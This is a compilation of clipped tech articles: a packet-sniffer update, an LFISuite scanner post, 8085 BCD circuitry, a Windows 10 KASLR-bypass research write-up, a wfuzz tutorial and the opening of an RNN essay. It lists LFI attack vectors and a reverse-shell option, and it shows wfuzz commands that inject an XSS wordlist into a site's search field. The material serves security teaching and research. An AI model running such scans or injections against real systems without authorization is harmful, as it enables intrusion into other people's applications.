We've now released a new version \(1.4.0.0\) of RawCap in order to solve the
needs of these users. The new version supports WriteThrough, which forces the
data to be written directly to disk without being buffered. The automatic
flushing functionality is enabled by supplying the switch from the command
line when launching RawCap.

There is, however, one downside with the new version of RawCap; the size of
RawCap.exe has increased from 17kB to 18kB. Sorry for that fellow
minimalists... ;\)

Here is an example command showing how to sniff traffic from localhost with
automatic flushing \(i.e. no buffer\):

> RawCap.exe **-f** 127.0.0.1 LiveLoopback.pcap
Happy live sniffing\!

# LFISuite: An Automatic LFI Exploiter & Scanner\! - PenTestIT

**Created:**| _6/29/2017 3:50:29 PM_  
---|---  
**Updated:**| _6/29/2017 3:50:29 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# LFISuite: An Automatic LFI Exploiter & Scanner\!

by Black. Updated on _June 27, 2017_ @pentestit 792 views

This is a short post about **LFISuite** , an open source local file inclusion
scanner and exploiter that is coded in Python. It supports multiple attack
points and also has TOR proxy support. We all know that Local File Inclusion
\(also known as LFI\) is a process of “including” locally present files,
through the exploitation of vulnerable inclusion procedures implemented in the
application that accepts un-sanitized input.

<img src='img/LFISuite.png' width='540' height='154' alt='LFISuite' />  
  
OWASP states this more clearly as –

> “
> Local File Inclusion \(also known as LFI\) is the process of including
> files, that are already locally present on the server, through the
> exploiting of vulnerable inclusion procedures implemented in the
> application. This vulnerability occurs, for example, when a page receives,
> as input, the path to the file that has to be included and this input is not
> properly sanitized, allowing directory traversal characters \(such as dot-
> dot-slash\) to be injected. Although most examples point to vulnerable PHP
> scripts, we should keep in mind that it is also common in other technologies
> such as JSP, ASP and others.
### Features of LFISuite:

  * Multi-operating system support – works on Windows, Linux and Mac OS X.
  * Automatic configuration.
  * Automatic updates.
  * Provides 8 different local file inclusion attack modalities:
    * `/proc/self/environ`
    * `php://filter`
    * `php://input`
    * `/proc/self/fd`
    * `access log`
    * `phpinfo`
    * `data://`
    * `expect://`
  * Provides another option called _Auto-Hack_ , which scans and exploits the target automatically by trying all the attacks one after the other without user interaction.
  * TOR proxy support.
  * Reverse shell for Windows, Linux and Mac OS X.

Post successful detection, LFISuite also presents you with an option of using
a reverse shell. On Windows, this is taken care of by utilizing
Pentestmonkey’s reverse Bash shell, which can be connected using netcat. In
addition to Python, it just needs termcolor and requests additional packages

All in all this is a good scanner which shows promise.

### Download LFISuite:

LFISuite v1.0 can be checked out from it’s GIT repository **here**.

  

# Pulover's Macro Creator

**Created:**| _5/14/2014 10:23:21 AM_  
---|---  
**Updated:**| _5/14/2014 10:23:21 AM_  
**Author:**| __  
**Tags:**| _automation appsec cheating_  
  

# Pulover's Macro Creator

**Pulover’s****Macro****Creator** is a Free Automation Tool and Script
Generator. It is based on AutoHotkey language and provides users with multiple
automation functions, as well as a built-in recorder.

“ _Pulover’s Macro Creator is very handy as a means of automating various
tasks without possessing programming knowledge.”_ -**Softpedia.com**

**It’s more than a Macro Recorder\!**

You can add not only keystrokes and mouse actions to your scripts but also
manage windows, controls, files, strings, search images/pixels and even create
If/Else Statements to control the flow of your macros\! From simple repetitive
tasks to complex automation projects, Pulover’s Macro Creator will save you
hours of monotonous work. Everything with a friendly and intuitive interface.
Check out the video tutorials and see how. \[continue reading\]

# Ken Shirriff's blog: Reverse-engineering the 8085's decimal adjust circuitry

**Created:**| _9/1/2013 10:39:03 AM_  
---|---  
**Updated:**| _9/1/2013 10:39:03 AM_  
**Author:**| __  
**Tags:**| _hardware reversing awesome math_  
  

# Reverse-engineering the 8085's decimal adjust circuitry****

In this post I reverse-engineer and describe the simple decimal adjust circuit
in the 8085 microprocessor**.** Binary-coded decimal  arithmetic was an
important performance feature on early microprocessors**.** The idea behind
BCD is to store two 4-bit decimal numbers in a byte**.** For instance, the
number 42 is represented in BCD as 0100 0010 \(0x42\) instead of binary
00101010 \(0x2a\)**.** This continues my reverse engineering series on the
8085's ALU , flag logic , undocumented flags , register file , and instruction
set **.**

The motivation behind BCD is to make working with decimal numbers easier**.**
Programs usually need to input and output numbers in decimal, so if the number
is stored in binary it must be converted to decimal for output**.** Since
early microprocessors didn't have division instructions, converting a number
from binary to decimal is moderately complex  and slow**.** On the other hand,
if a number is stored in BCD, outputting decimal digits is trivial**.**
\(Nowadays, the DAA operation is hardly ever used \)**.**

<img src='img/Temp2_4769.png' alt='Photograph of the 8085 chip showing the
location of the ALU, flags, and registers.' />

One problem with BCD is the 8085's ALU operates on binary numbers, not
BCD**.** To support BCD operations, the 8085 provides a DAA \(decimal adjust
accumulator\) operation that adjusts the result of an addition to correct any
overflowing BCD values**.** For instance, adding 5 + 6 = binary 0000 1011
\(hex 0x0b\)**.** The value needs to be corrected by adding 6 to yield hex
0x11**.** Adding 9 + 9 = binary 0001 0010 \(hex 0x12\) which is a valid BCD
number, but the wrong one**.** Again, adding 6 fixes the value. In general, if
the result is ≥ 10 or has a carry, it needs to be decimal adjusted by adding
6**.** Likewise, the upper 4 BCD bits get corrected by adding 0x60 as
necessary**.** The DAA operation performs this adjustment by adding the
appropriate value**.** \(Note that the correction value 6 is the difference
between a binary carry at 16 and a decimal carry at 10**.**\)

The DAA operation in the 8085 is implemented by several components: a signal
if the lower bits of the accumulator are ≥ 10, a signal if the upper bits are
≥ 10 \(including any half carry from the lower bits\), and circuits to load
the ACT register with the proper correction constant 0x00, 0x06, 0x60, or
0x66**.** The DAA operation then simply uses the ALU to add the proper
correction constant**.**

The block diagram below shows the relevant parts of the 8085: the ALU, the ACT
\(accumulator temp\) register, the connection to the data bus \(dbus\), and
the various control lines**.**

<img src='img/Temp2_4771.png' alt='The accumulator and ACT (Accumulator
Temporary) registers and their control lines in the 8085 microprocessor.' />

The circuit below implements this logic**.** If the low-order 4 bits of the
ALU are 10 or more, `alu_lo_ge_10` is set**.** The logic to compute this is
fairly simple: the 8's place must be set, and either the 4's or 2's**.** If
DAA is active, the low-order bits must be adjusted by 6 if either the low-
order bits are ≥ 10 or there was a half-carry \(A flag\)**.**

Similarly, alu\_hi\_ge\_10 is set if the high-order 4 bits are 10 or more**.**
However, a base-10 overflow from the low order bits will add 1 to the high-
order value so a value of 9 will also set `alu_hi_ge_10` if there's an
overflow from the low-order bits**.** A decimal adjust is performed by loading
6 into the high-order bits of the ACT register and adding it**.** A carry out
also triggers this decimal adjust.

<img src='img/Temp2_4770.png' alt='Schematic of the decimal adjust circuitry
in the 8085 microprocessor.' />

Schematic of the decimal adjust circuitry in the 8085 microprocessor**.**

The circuits to load the correction value into ACT are controlled by the
`load_act_x6` signal for the low digit and `load_act_6x` for the high
digit**.** These circuits are shown in my earlier article Reverse-engineering
the 8085's ALU and its hidden registers **.**

## Comparison to the 6502****

By reverse-engineering the 8085, we see how the simple decimal adjust circuit
in the 8085 works**.** In comparison, the 6502 handles BCD in a much more
efficient but complex way**.** The 6502 has a decimal mode flag  that causes
addition and subtraction to automatically do decimal correction, rather than
using a separate instruction**.** This patented technique  avoids the
performance penalty of using a separate DAA instruction**.** To correct the
result of a subtraction, the 6502 needs to subtract 6 \(or equivalently add
10\)**.** The 6502 uses a fast adder circuit that does the necessary
correction factor addition or subtraction without using the ALU**.** Finally,
the 6502 determines if correction is needed before the original
addition/subtraction completes, rather than examining the result of the
addition/subtraction, providing an additional speedup**.**

This information is based on the 8085 reverse-engineering done by the visual
6502  team**.** This team dissolves chips in acid to remove the packaging and
then takes many close-up photographs  of the die inside**.** Pavel Zima
converted these photographs into mask layer images , generated a transistor
net from the layers, and wrote a transistor-level 8085 simulator**.**

****

# Development of a new Windows 10 KASLR Bypass \(in One WinDBG Command\)

**Created:**| _3/22/2019 7:32:45 AM_  
---|---  
**Updated:**| _3/22/2019 7:32:45 AM_  
**Author:**| __  
**Tags:**| _aslr kernel_  
  

  

<img src='img/kaslr-bypass-600x214.png' width='798' height='284' />

# Development of a new Windows 10 KASLR Bypass \(in One WinDBG Command\)

__ March 19, 2019

 __Exploit Development

by Morten Schenk

## Windows 10 1809 Kernel ASLR Bypass Evolution

When it is well-implemented, Kernel Address Space Layout Randomization
\(KASLR\) makes Windows kernel exploitation extremely difficult by making it
impractical to obtain the base address of a kernel driver directly. In an
attempt to bypass this, researchers have historically focussed on kernel
address leaks to retrieve these addresses, either through specific kernel-
memory disclosure vulnerabilities or using a kernel-mode read primitive
created through a kernel vulnerability like a pool overflow or a write-what-
where. The focus of this article is the more generic approach of KASLR bypass
using a kernel-mode read primitive.

As researchers develop new bypass techniques, Microsoft has consistently
mitigated many of the resulting exploit vectors:

  * A pair of exploitation techniques leveraged bitmaps and palette objects as kernel-mode read and write primitives. These techniques were mitigated by the Type Isolation protection of Windows 10 Release 1709 \(aka Redstone 3\) in 2017 and Release 1803 \(aka Redstone 4\) in 2018 as detailed in “The Life and Death of Kernel Object Abuse” by Saif El-Sherei and Ian Kronquist.
  * Two noteworthy Windows 10 generic kernel exploitation talks — one by Saif El-Sherei and one by myself — highlight exploitable flaws in the Creators Update of Windows release 1703, \(aka Redstone 2\). Even though the findings of these presentations still applied to the subsequent Redstone 3 release, the findings were all mitigated by Redstone 4.
  * A vector which used the _tagWnd_ object as a kernel-mode read and write primitive was quietly mitigated in Redstone 4. Not a single public talk or paper seems to document this.
  * By forging a kernel-mode read primitive, an attacker could bypass KASLR mitigation in a variety of ways \(see my Black Hat USA 2017 presentation\). However, the latest 1809 release of Windows 10 \(aka Redstone 5 or RS5\) squashed all remaining known KASLR bypass techniques.

At the time of this writing, it has been a year since the release of an
undocumented, public, general Windows kernel exploitation technique which
means KASLR is standing strong in modern versions of Windows 10.

On the surface, this seems like a good thing, but when I began another round
of course development at Offensive Security, I faced a dilemma.

Our training and certifications are the most well-recognized and respected in
the industry. We take pride in providing unique course offerings and unmatched
learning experiences that highlight the latest ethical hacking tools and
techniques. Although this sounds like sales fodder, it’s not. We take pride in
our courses and as a course developer I hated the idea of starting with year-
old techniques against older operating systems when I knew there must be new
vectors against modern operating systems waiting to be uncovered.

So, I began my search for a new KASLR bypass on the current version of Windows
10, codenamed Redstone 5. Eventually, I found one.

In this post, I’ll take you through some of my key research steps that led to
the discovery of a previously undocumented KASLR bypass.

### Forging Ahead

First, note that KASLR can be trivially bypassed by an exploit executed at
medium-integrity through the use of the well-known EnumDeviceDrivers and
NtQuerySystemInformation APIs. Therefore, for the remainder of this post, I
will assume that the execution context is either low-integrity or from within
an application sandbox.

On previous versions of Windows 10, several generic methods could be used to
force a kernel pointer leak, including using the Win32ThreadInfo pointer from
Thread Environment Block \(TEB\), leaking a Compatible bitmap or using the
Desktop heap. In this approach I focussed on using the Desktop heap.

In Windows 10 Redstone 2, the _UserHandleTable_ containing the kernel-mode
address of all objects allocated on the Desktop heap was removed, but luckily
the Desktop heap itself was still mapped in user-mode, allowing us to search
through it and locate a specific object. Since Desktop heap objects like
_tagWnd_ contain a header that can lead to a KTHREAD structure through
specific dereference chains, we could trigger a kernel-mode pointer address
leak, allowing us to bypass KASLR. A code snippet showing this logic is
presented in Listing 1:

<img src='img/Temp2_2199.png' width='616' height='86' />Listing 1 – Technique
from Windows 10 release Redstone 2 to bypass KASLR

To test this under Windows 10 Redstone 5 I reused the technique I presented at
Black Hat USA 2017 by creating a window through the CreateWindowEx API,
grabbing the address of the user-mode mapped Desktop heap from offset 0x828 in
the TEB, and performing a brute-force search for the Window handle on the
user-mode mapped Desktop heap to obtain the offset into it.

<img src='img/Temp2_2203.png' width='225' height='58' />Figure 1: Window
handle and location in user-mode mapped Desktop heap

Before Redstone 5, the _tagWnd_ address in Figure 1 would have pointed to a
direct copy of the tagWnd kernel object containing a direct copy of the
_tagWnd_ object containing all relevant kernel-mode pointers, including the
_threadInfo_ pointer. However, as shown in Listing 2, the actual result was
something very different:

<img src='img/listing-2.png' width='616' height='255' />Listing 2 – Windows
object inside user-mode mapped desktop heap

In Redstone 2, the highlighted values in Listing 2 would have contained the
UNICODE\_STRING structure for the name of the window object. This means that
the value mapped into the highlighted values above would normally contain the
UNICODE\_STRING structure for the name of the window, which is at offset 8,
meaning the value mapped into the address 0x20a177ab800 would normally contain
the kernel-mode pointer to that UNICODE string. But it didn’t. It was clear at
this point that Microsoft had drastically altered the user-mode mapped Desktop
heap.

At this point, to better understand what was going on, I had to perform some
cross-checks in kernel space. To do that I tried to locate the Desktop heap
kernel-mode base address. Before Redstone 5, this pointer could be found at
offset 0x28 of the Desktop heap header which could be read from the user-mode
mapped Desktop heap. Given this, I tried to manually gather this address in
the debugger from offset 0x828 in the TEB:

<img src='img/listing-3.png' width='616' height='295' />Listing 3 – User-mode
mapped Desktop heap header

From the listing above I could see that the QWORD at offset 0x28 in the user-
mode mapped Desktop heap now only contains a NULL value. I can, however gather
the Desktop heap kernel base at offset 0x80, so I continued my analysis by
using that offset instead.

<img src='img/Temp2_2198.png' width='616' height='68' />Listing 4 – Delta
value for Desktop heap and Window kernel-mode address

Since the user-mode mapped Desktop heap is updated by a SYSTEM thread, I
expected the content of the Desktop heap in kernel-space to be slightly
different from the one presented in user-space. However, inspecting the memory
of two Desktop heaps \(Listing 3\), WinDBG showed the exact same
\(unfiltered\) content\! This means that Microsoft had undertaken a radical
change to both the Desktop heap _and_ the associated APIs.

### Bunch of Heaps

To figure out what kind of changes Microsoft had implemented and to determine
if the attack vector was possible, I needed to learn more about how kernel-
mode API’s operated on the modified Desktop heap. Since the window name,
stored as a UNICODE string in the _tagWnd_ object, is typically easy to
recognize \(and is user-controllable\) I invoked the undocumented
_NtUserDefSetText_ API in an attempt to update it and obtain its true kernel-
mode location. To follow the execution I placed a breakpoint on
_NtUserDefSetText_ in _**Win32kfull.sys**_ displayed the first instructions:

<img src='img/listing-5.png' width='616' height='294' />Listing 5 –
ValidateHwnd seen in prologue of NtUserDefSetTExt

I noticed a call to _ValidateHwnd_ , which uses the window handle to locate
the kernel-mode  _tagWnd_ object address. Normally, _ValidateHwnd_ would
return the _tagWnd_ memory address on the kernel Desktop heap, but this
presented yet another surprise:

<img src='img/listing-6.png' width='616' height='382' />Listing 6 – A second
Desktop heap containing the tagWnd object

As shown in Listing 6, the kernel-mode address received from _ValidateHwnd_
points to an object with the handle 0x30502, which matched the Window handle
returned in user-space by the updated proof of concept. This object contained
kernel-mode pointers and offset 0x28 contained a pointer to a separate
allocation that also contains the same window handle.

The conclusion from this is that Microsoft had created multiple Desktop heaps
and split object content across them while only mapping the kernel-mode
pointer free version to user-mode. This is a very good way of mitigating both
the abuse of kernel-mode objects from user-mode as well as protecting KASLR.
While I did spent time further analyzing this split, I will continue to focus
on the KASLR bypass for the purposes of this post.

As with everything related to ASLR, it is key to look at what is randomized
across process restarts and reboots. When I performed these steps, I
discovered important pieces of information. First, the base address of the
Desktop heap that is mapped into user-mode always ends with 0x1400000, leaving
only the upper 36 bits randomized after reboot.

Secondly, the location of the Desktop heaps that contain kernel-mode object
pointers are randomized to the same upper 36 bits as the Desktop heap which is
mapped into user-mode \(shown below in Listing 7 in green\). The following 4
bits always equate to 0x4 or 0x6 \(shown in red\) while the lower 24 bits are
randomized \(shown in blue\), eliminating an easy way to predict the object’s
kernel-mode only Desktop heap address:

<img src='img/Temp2_2202.png' width='616' height='146' />Listing 7 – Header of
tagWnd object in kernel-mode only Desktop heap

The division seems sound and only the kernel-mode Desktop heaps contain
pointers to the user-mode Desktop heap.

The use of fixed values seemed interesting and revealed an incomplete
randomization. Luckily I discovered one more important finding when looking
across reboots. The kernel-mode only Desktop heap portion of the _tagWnd_
object shown in Listing 7 reveals that the pointer at offset 0x50 is to yet
another kernel-mode only Desktop heap and its content is an unknown object:

<img src='img/Temp2_2201.png' width='616' height='146' />Listing 8 – Unknown
object in separate Desktop heap

What makes this object interesting is that the lower 28 bits are fixed across
reboots to the value 0x08308c0 \(shown in blue\) while the upper 36 bits are
equal to the Desktop heap shared with user-mode \(shown in green\). In effect,
we can leak and calculate the absolute address of this object, which contains
kernel-mode pointers\!

Even more valuable is the fact that the value at offset 0x10 from the
beginning of this object is a pointer to the _threadInfo_ structure, which
brings us back to the old _tagWnd_ KASLR bypass technique. Offset 0x0 of the
_threadInfo_ structure contains a pointer to the KTHREAD, which at offset 02A8
contains a pointer to _ntoskrnl_. The dereference sequence is given in Listing
9:

<img src='img/Temp2_2200.png' width='616' height='68' />Listing 9 – Pointer
into ntoskrnl from the unknown object

### Conclusion

With Windows 10 release Redstone 5, Microsoft has performed an impressive
engineering task by fragmenting the Desktop heap into multiple heaps and only
allowing user-mode to view non-kernel specific content. However, the
randomization used with the implementation contains flaws by using static
values that can lead to a KASLR bypass if an attacker is able to read
arbitrary kernel-mode memory.

The KASLR bypass manifests from the option by an attacker to disclose the
randomized upper 36 bits of a kernel-mode object address, while the lower 28
bits are static. The location of the kernel-mode object used in conjunction
with a kernel-mode read primitive leaks a pointer into _ntoskrnl_.

There is a lot going on here, but boiling it down to a single command, I
present this undocumented KASLR bypass against Microsoft Windows 10 Redstone
5:

<img src='img/Temp2_2204.png' width='616' height='41' />Listing 10 – KASLR
bypass in single WinDBG command

Since this type of issue does not match any of the Microsoft bug reporting
programs or guidelines, I have not reported this issue. However, I have
confirmed that this issue does not work in the upcoming 19H1 release due to
some design changes. In the meantime, I’ll be sure to include this development
\(or parts of it\) in upcoming training courses \(watch out, Advanced Windows
Exploitation\!\) and look forward to the next round of updates as well as the
inevitable research community workarounds.



Previous Post

Auditing the Auditor

#### Related Posts

#### No results found.

# Episode104 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:42:41 PM_  
---|---  
**Updated:**| _8/5/2009 12:42:58 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit pauldotcom Fuzzer Tutorials_  
  

# Tech Segment: Wesley McGrew

Wesley discusses the McGrew Security RAM Dumper \(msramdmp\).

msramdmp is a bootable syslinux USB stick that manages to boot itself without
overwriting the contents of RAM. This allows msramdmp to dump the contents of
RAM to the USB stick for forensic/information-gathering/crypto-breaking
purposes. As was discovered recently by some Princeton researchers, RAM can
hold its contents for some time \(under very specific conditions\) after a
computer is powered down.

# Tech Segment: wfuzz - Fuzzing Your Web Apps

Web application testing has become the norm when it comes to security
assessments. Even if the client does not sign-up for a full on web applcation
assessment, I find myself always poking at the web apps on the target site,
trying to find the low hanging fruit. We talk a lot about "manual" vs.
"automated", and here is an example where a tool can help you automate your
web app testing, but still keep that manual component. The game is pretty
simple, a web app will have parameters to accept data, your job as a tester is
to find ways to run code \(XSS\) or access databases \(SQL Injection\) using
the data passed to those fields. wfuzz is a set of python scripts to help you
do just that. I got mine running on OS X natively and used ports to install
python2.4 and py-curl \(port install python2.4 py-curl\). Once I had done
that, wfuzz would run for me:

[code]

    $ /opt/local/bin/python2.4 wfuzz.py 
    
    *************************************
    * Wfuzz  1.4 - The web bruteforcer  *
    *                                   *
    * Coded by:                         *
    * Carlos del ojo                    *
    *   - cdelojo@edge-security.com     *
    * Christian Martorella              *
    *   - cmartorella@edge-security.com *
    *************************************
    
    
[/code]

Its a pretty simple concept, it reads entries from a file and throws them at
the web server directly or the parameter expecting data. For example, you can
use it to find "interesting" directories as follows:

[code]

    /opt/local/bin/python2.4 wfuzz.py -c -z file -f wordlists/common.txt --hc 404 --html http://www.somesite.org/FUZZ
    
[/code]

The "FUZZ" parameter will be replaced with each entry from the file. It will
output some HTML, which we are capturing above into a file called
"results.html". The output on the screen will look like this:

[code]

    Total requests: 947
    ===========================================================
    ID      Response   Lines      Word       Request    
    ===========================================================
    
    00121:  C=301      1 L        10 W       "blog"
    00226:  C=301      1 L        10 W       "css"
    00319:  C=301      1 L        10 W       "events"
    00408:  C=301      1 L        10 W       "images"
    00508:  C=301      1 L        10 W       "members"
    00549:  C=301      1 L        10 W       "news"
    00703:  C=301      1 L        10 W       "scripts"
    00745:  C=301      1 L        10 W       "search"
    00808:  C=301      1 L        10 W       "templates"
    00812:  C=301      1 L        10 W       "test"
    
    
[/code]

Opening the HTML file will yield the following:

<img src='img/Temp2_2735.png' width='631' height='471'
alt='Image:Wfuzzresults.png' />

Now you can just click on the links and see the results. In addition to the
links, I really like see the HTTP response code as well, as it is helpful to
see what the web server came back with. Now lets say you are manually browsing
the web site and you see a search field. Score\! Now we have a place to enter
data which has a high probablility of getting displayed back to us \(i.e. the
search result page sometimes says, "You jus search for "Foo"\). You can use
wfuzz to throw a whole bunch of XSS into that field as follows:

[code]

    /opt/local/bin/python2.4 wfuzz.py -c -z file -f wordlists/Injections/XSS.txt --hc 404 --html -d "zoom_query=FUZZ" http://somesite.org/search/default.aspx 2> results.html
    
[/code]

Which outputs the raw results to the screen, and gives us a nice HTML file to
review, which looks as follows:

<img src='img/Temp2_2734.png' width='768' height='701'
alt='Image:Wfuzzresults2.png' />

Now you can click the buttons, send the post requests, and see the results.
wfuzz is a great tool for web application testing, one which I plan to use on
future assessments. You can always add more/different attacks to the files to
test different kinds of conditions and encoding. Don't forget that you should
always obtain permission before embarking on any kind of security testing.

Resources:

  * http://www.edge-security.com/wfuzz.php \- Download wfuzz
  * http://ha.ckers.org/xss.html \- XSS Cheatsheet, AWESOME reference
  * http://darwinports.com/ \- Darwin ports

# Gikir | Mobile Security Experts
**Created:**| _6/26/2014 12:41:54 PM_  
---|---  
**Updated:**| _6/26/2014 12:41:54 PM_  
**Author:**| __  
**Tags:**| _Debugging_  
  

# Mobile Security Experts

#### **What is GikDbg?**

GikDbg is a mobile platform assembly-level debugger, which is an application
debugging tool for security researchers.It is based on: OllyDbg \(32-bit
assembler level analysing debugger for Microsoft? Windows\); GDB \(GDB, the
GNU Project debugger\); LLVM \(collection of modular and reusable compiler and
tool-chain technologies\).

#### **What features can GikDbg support?**

  * ELF / Mach-O executable file static analysis;
  * Android / iOS App dynamic debugging;
  * Android / iOS remote console;
  * ARM assembler；
  * ARM disassembler；
  * Device file uploading and downloading；
  * Built-in GDB and LLDB；
  * Support for memory breakpoint, software breakpoint, conditional breakpoint;
  * Support for multi-threaded debugging;
  * Support for assembly code level file patching.

**If you have some using problem, see Q& A List here...**

**Current version：gikdbg-v1.2.build140625 & gikdbg.art-v1.3.build140625 \-
View update Logs**

Download GikDbg \(iOS\) Download GikDbg.ART \(Android\)

#### **GikDbg Screen Shot**

**GikDbg for iOS:**

<img src='img/Temp2_3482.png' />

**GikDbg.ART \(Android\):**

<img src='img/Temp2_3483.png' />

  

# The Unreasonable Effectiveness of Recurrent Neural Networks

**Created:**| _5/22/2015 4:17:32 PM_  
---|---  
**Updated:**| _5/22/2015 4:17:32 PM_  
**Author:**| __  
**Tags:**| _AI neural networks\_  
  
  

# The Unreasonable Effectiveness of Recurrent Neural Networks

May 21, 2015

There's something magical about Recurrent Neural Networks \(RNNs\). I still
remember when I trained my first recurrent network for Image Captioning.
Within a few dozen minutes of training my first baby model \(with rather
arbitrarily-chosen hyperparameters\) started to generate very nice looking
descriptions of images that were on the edge of making sense. Sometimes the
ratio of how simple your model is to the quality of the results you get out of
it blows past your expectations, and this was one of those times. What made
this result so shocking at the time was that the common wisdom was that RNNs
were supposed to be difficult to train \(with more experience I've in fact
reached the opposite conclusion\). Fast forward about a year: I'm training
RNNs all the time and I've witnessed their power and robustness many times,
and yet their magical outputs still find ways of amusing me. This post is
about sharing some of that magic with you.

> We'll train RNNs to generate text character by character and ponder the
> question "how is that even possible?"
By the way, together with this post I am also releasing code on Github that
allows you to train character-level language models based on multi-layer
LSTMs. You give it a large chunk of text and it will learn to generate text
like it one character at a time. You can also use it to reproduce my
experiments below. But we're getting ahead of ourselves; What are RNNs anyway?

## Recurrent Neural Networks

**Sequences**. Depending on your background you might be wondering: _What
makes Recurrent Networks so special_? A glaring limitation of Vanilla Neural
Networks \(and also Convolutional Networks\) is that their API is too
constrained: they accept a fixed-sized vector as input \(e.g. an image\) and
produce a fixed-sized vector as output \(e.g. probabilities of different
classes\). Not only that: These models perform this mapping using a fixed
amount of computational steps \(e.g. the number of layers in the model\). The
core reason that recurrent nets are more exciting is that they allow us to
operate over _sequences_ of vectors: Sequences in the input, the output, or in
the most general case both. A few examples may make this more concrete:

<img src='img/Temp2_8336.jpg' width='800' height='250' />

Each rectangle is a vector and arrows represent functions \(e.g. matrix
multiply\). From left to right: **\(1\)** Vanilla mode of processing without
RNN, from fixed-sized input to fixed-sized output \(e.g. image
classification\). **\(2\)** Sequence output \(e.g. image captioning takes an
image and outputs a sentence of words\). **\(3\)** Sequence input \(e.g.
sentiment analysis where a given sentence is classified as expressing positive
or negative sentiment\). **\(4\)** Sequence input and sequence output \(e.g.
Machine Translation: an RNN reads a sentence in English and then outputs a
sentence in French\). **\(5\)** Synced sequence input and output \(e.g. video
classification where we wish to label each frame of the video\). Notice that
in every case are no pre-specified constraints on the lengths sequences
because the recurrent transformation \(green\) is fixed and can be applied as
many times as we like.

As you might expect, the sequence regime of operation is much more powerful
compared to fixed networks that are doomed from the get-go by a fixed number
of computational steps, and hence also much more appealing for those of us who
aspire to build more intelligent systems. Moreover, as we'll see in a bit,
RNNs combine the input vector with their state vector with a fixed \(but
learned\) function to produce a new state vector. This can in programming
terms be interpreted as running a fixed program with certain inputs and some
internal variables. Viewed this way, RNNs essentially describe programs. In
fact, it is known that RNNs are Turing-Complete in the sense that they can to
simulate arbitrary programs \(with proper weights\). But similar to universal
approximation theorems for neural nets you shouldn't read too much into this.
In fact, forget I said anything.

> If training vanilla neural nets is optimization over functions, training
> recurrent nets is optimization over programs.
**Sequential processing in absence of sequences**. You might be thinking that
having sequences as inputs or outputs could be relatively rare, but an
important point to realize is that even if your inputs/outputs are fixed
vectors, it is still possible to use this powerful formalism to _process_ them
in a sequential manner. For instance, the figure below shows results from two
very nice papers from DeepMind. On the left, an algorithm learns a recurrent
network policy that steers its attention around an image; In particular, it
learns to read out house numbers from left to right \(Ba et al.\). On the
right, a recurrent network _generates_ images of digits by learning to
sequentially add color to a canvas \(Gregor et al.\):

<img src='img/house_read.gif' width='224' height='400' /> <img
src='img/house_generate.gif' width='392' height='400' />

Left: RNN learns to read house numbers. Right: RNN learns to paint house
numbers.

The takeaway is that even if your data is not in form of sequences, you can
still formulate and train powerful models that learn to process it
sequentially. You're learning stateful programs that process your fixed-sized
data.

**RNN computation.** So how do these things work? At the core, RNNs have a
deceptively simple API: They accept an input vector `x` and give you an output
vector `y`. However, crucially this output vector's contents are influenced
not only by the input you just fed in, but also on the entire history of
inputs you've fed in in the past. Written as a class, the RNN's API consists
of a single `step` function:

[code]

    rnn = RNN()
    y = rnn.step(x) # x is an input vector, y is the RNN's output vector
    
[/code]

The RNN class has some internal state that it gets to update every time `step`
is called. In the simplest case this state consists of a single _hidden_
vector `h`. Here is an implementation of the step function in a Vanilla RNN:

[code]

    class RNN:
      # ...
      def step(self, x):
        # update the hidden state
        self.h = np.tanh(np.dot(self.W_hh, self.h) + np.dot(self.W_xh, x))
        # compute the output vector
        y = np.dot(self.W_hy, self.h)
        return y
    
[/code]

The above specifies the forward pass of a vanilla RNN. This RNN's parameters
are the three matrices `W_hh, W_xh, W_hy`. The hidden state `self.h` is
initialized with the zero vector. The `np.tanh` function implements a non-
linearity that squashes the activations to the range `[-1, 1]`. Notice briefly
how this works: There are two terms inside of the tanh: one is based on the
previous hidden state and one is based on the current input. The two
intermediates interact with addition, and then get squashed by the tanh into
the new state vector.

We initialize the matrices of the RNN with random numbers and the bulk of work
during training goes into finding the matrices that give rise to desirable
behavior, as measured with some loss function that expresses your preference
to what kinds of outputs `y` you'd like to see in response to your input
sequences `x`.

**Going deep**. RNNs are neural networks and everything works monotonically
better \(if done right\) if you put on your deep learning hat and start
stacking models up like pancakes. For instance, we can form a 2-layer
recurrent network as follows:

[code]

    y1 = rnn1.step(x)
    y = rnn2.step(y1)
    
[/code]

In other words we have two separate RNNs: One RNN is receiving the input
vectors and the second RNN is receiving the output of the first RNN as its
input. Except neither of these RNNs know or care - it's all just vectors
coming in and going out, and some gradients flowing through each module during
backpropagation.

**Getting fancy**. I'd like to briefly mention that in practice most of us use
a slightly different formulation than what I presented above called a _Long
Short-Term Memory_ \(LSTM\) network. The LSTM is a particular type of
recurrent network that works slightly better in practice, owing to its more
powerful update equation and some appealing backpropagation dynamics. I won't
go into details, but everything I've said about RNNs stays exactly the same,
except the mathematical form for computing the update \(the line `self.h =
...`\) gets a little more complicated. From here on I will use the terms
"RNN/LSTM" interchangeably but all experiments in this post use an LSTM.

## Character-Level Language Models

Okay, so we have an idea about what RNNs are, why they are super exciting, and
how they work. We'll now ground this in a fun application: We'll train RNN
character-level language models. That is, we'll give the RNN a huge chunk of
text and ask it to model the probability distribution of the next character in
the sequence given a sequence of previous characters. This will then allow us
to generate new text one character at a time.

As a working example, suppose we only had a vocabulary of four possible
letters "helo", and wanted to train an RNN on the training sequence "hello".
This training sequence is in fact a source of 4 separate training examples: 1.
The probability of "e" should be likely given the context of "h", 2. "l"
should be likely in the context of "he", 3. "l" should also be likely given
the context of "hel", and finally 4. "o" should be likely given the context of
"hell".

Concretely, we will encode each character into a vector using 1-of-k encoding
\(i.e. all zero except for a single one at the index of the character in the
vocabulary\), and feed them into the RNN one at a time with the `step`
function. We will then observe a sequence of 4-dimensional output vectors
\(one dimension per character\), which we interpret as the confidence the RNN
currently assigns to each character coming next in the sequence. Here's a
diagram:

<img src='img/Temp2_8337.jpg' width='70%' height='450' />

An example RNN with 4-dimensional input and output layers, and a hidden layer
of 3 units \(neurons\). This diagram shows the activations in the forward pass
when the RNN is fed the characters "hell" as input. The output layer contains
confidences the RNN assigns for the next character \(vocabulary is
"h,e,l,o"\); We want the green numbers to be high and red numbers to be low.

For example, we see that in the first time step when the RNN saw the character
"h" it assigned confidence of 1.0 to the next letter being "h", 2.2 to letter
"e", -3.0 to "l", and 4.1 to "o". Since in our training data the next correct
character is "e", we would want to increase its confidence \(green\) and
decrease the confidence of all other letters \(red\). The most common approach
is to use a cross-entropy loss function here, which corresponds to placing a
